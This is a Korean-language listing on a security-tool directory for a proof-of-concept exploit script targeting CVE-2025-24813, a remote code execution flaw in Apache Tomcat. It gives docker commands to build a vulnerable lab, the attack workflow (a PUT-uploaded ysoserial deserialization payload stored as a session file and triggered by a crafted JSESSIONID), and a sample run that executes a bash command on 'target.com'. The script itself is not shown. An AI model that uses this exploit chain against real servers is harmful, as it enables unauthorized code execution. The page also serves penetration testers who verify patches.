Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24813 — Apache Tomcat의 취약점인 CVE-2025-24813에 대한 개념 증명(PoC) 스크립트입니다. | Kitploit
도구/GitHubGitHub/hakankarabacak/cve-2025-24813
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubhakankarabacak/cve-2025-24813

CVE-2025-24813

Apache Tomcat의 취약점인 CVE-2025-24813에 대한 개념 증명(PoC) 스크립트입니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-24813

Apache Tomcat의 취약점 CVE-2025-24813에 대한 개념 증명(PoC) 스크립트입니다.

이 스크립트는 관련 링크를 기반으로 수정되었으며 제 필요에 맞게 조정되었습니다.

취약한 Tomcat 환경 설정

공식 Tomcat 9.0.90 이미지를 기반으로 한 환경입니다. 서버의 읽기 전용 제한을 제거하고 세션 데이터를 디스크에 저장하도록 구성합니다. 그런 다음 ROOT.war 파일을 Tomcat의 webapps/ 디렉터리에 복사하여 자동으로 애플리케이션을 배포합니다.

root@kitploit:~
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813

작업 흐름

  1. Content-Range 헤더가 포함된 check.txt 파일을 배치하여 서버가 PUT 요청을 수락하는지 확인합니다.
  2. 서버에 쓰기 가능한 경우 ysoserial을 사용하여 원하는 명령에 대한 페이로드를 생성합니다.
  3. 악성 세션 파일이 PUT 요청을 통해 디렉터리에 업로드되며, 세션 ID 및 파일 이름과 연결됩니다.
  4. 사용자 지정 JSESSIONID와 함께 GET 요청이 전송되어 역직렬화가 트리거됩니다.
  5. 임시 페이로드 파일이 디렉터리에서 삭제됩니다.

사용법

root@kitploit:~
$ python3 cve_2025_24813.py

██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗      ██████╗ ██╗  ██╗ █████╗  ██╗██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ╚════██╗██║  ██║██╔══██╗███║╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ███████╗     ██║╚█████╔╝ ██║██████╔╝
╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝      ╚══════╝     ╚═╝ ╚════╝  ╚═╝╚═════╝
 
                 --- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---

Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE): 
Enter path to ysoserial.jar (default: ysoserial.jar): 
Enter ysoserial gadget chain (default: CommonsCollections6): 
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser

PoC

https://github.com/user-attachments/assets/5a271e6f-1126-459a-852b-603f39a68616

도구 다운로드